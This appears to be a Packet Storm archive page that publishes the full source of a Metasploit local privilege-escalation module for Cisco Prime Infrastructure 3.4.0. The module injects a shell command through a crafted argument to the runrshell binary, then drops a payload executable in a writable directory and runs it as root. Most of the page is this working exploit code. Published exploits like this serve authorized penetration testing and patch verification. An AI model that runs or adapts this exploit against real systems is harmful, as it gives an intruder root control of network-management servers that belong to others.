what you don't know can hurt you

Cisco Prime Infrastructure Runrshell Privilege Escalation

Cisco Prime Infrastructure Runrshell Privilege Escalation
Posted Jun 19, 2019
Authored by sinn3r, Pedro Ribeiro | Site metasploit.com

This Metasploit modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The runrshell binary is meant to execute a shell script as root, but can be abused to inject extra commands in the argument, allowing you to execute anything as root.

tags | exploit, shell, root
systems | cisco
MD5 | ae94bd035bf58e74d4a44904a3f67d25

Cisco Prime Infrastructure Runrshell Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super( update_info( info,
'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',
'Description' => %q{
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
runrshell binary is meant to execute a shell script as root, but can be abused to inject
extra commands in the argument, allowing you to execute anything as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
'sinn3r' # Metasploit module
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2018-12-08',
'Privileged' => true,
'References' =>
[
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],
],
'Targets' =>
[
[ 'Cisco Prime Infrastructure 3.4.0', {} ]
],
'DefaultTarget' => 0
))

register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])
]
end

def exec_as_root(cmd)
command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
vprint_status(cmd_exec(command_string))
end

def exploit
payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
print_status("Uploading #{exe_path}")
write_file(exe_path, generate_payload_exe)
unless file?(exe_path)
print_error("Failed to upload #{exe_path}")
return
end

register_file_for_cleanup(exe_path)
print_status('chmod the file with +x')
exec_as_root("/bin/chmod +x #{exe_path}")
print_status("Executing #{exe_path}")
exec_as_root(exe_path)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close